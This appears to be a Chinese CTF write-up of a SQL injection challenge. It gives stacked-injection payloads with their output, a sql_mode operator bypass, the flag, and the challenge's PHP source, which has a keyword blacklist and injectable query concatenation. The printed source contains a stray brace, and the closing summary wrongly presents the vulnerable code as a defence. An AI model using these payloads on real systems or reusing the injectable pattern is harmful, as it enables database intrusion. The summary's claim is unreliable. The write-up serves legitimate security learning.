0x01 思路
根据题目名称判断为 SQL 注入
测试’ or ‘1’='1 发现存在waf。
考虑进行堆叠注入
query=1;select database();#
Array
(
[0] => 1
)
Array
(
[0] => ctf
)
query=1;use ctf;show tables;#
Array
(
[0] => 1
)
Array
(
[0] => Flag
)
0x02 flag
使用*,1放入查询语句,即可获得 flag

flag{9f2a1836-e5b6-4122-99ef-ea81bd34b293}
除此之外,还有另外一种解题方法,即“操作符重置法”
使用set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符。
0x03 题目源代码
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
本文介绍了SQL注入的识别与绕过WAF的方法,包括利用'or '1'='1测试注入,并展示了堆叠注入的实战过程,如查询数据库名、表名。还提到了另一种解题策略——操作符重置法,通过setsql_mode=PIPES_AS_CONCAT改变||的运算行为。文章以一段PHP代码为例,展示了如何防范SQL注入攻击。
649

被折叠的 条评论
为什么被折叠?



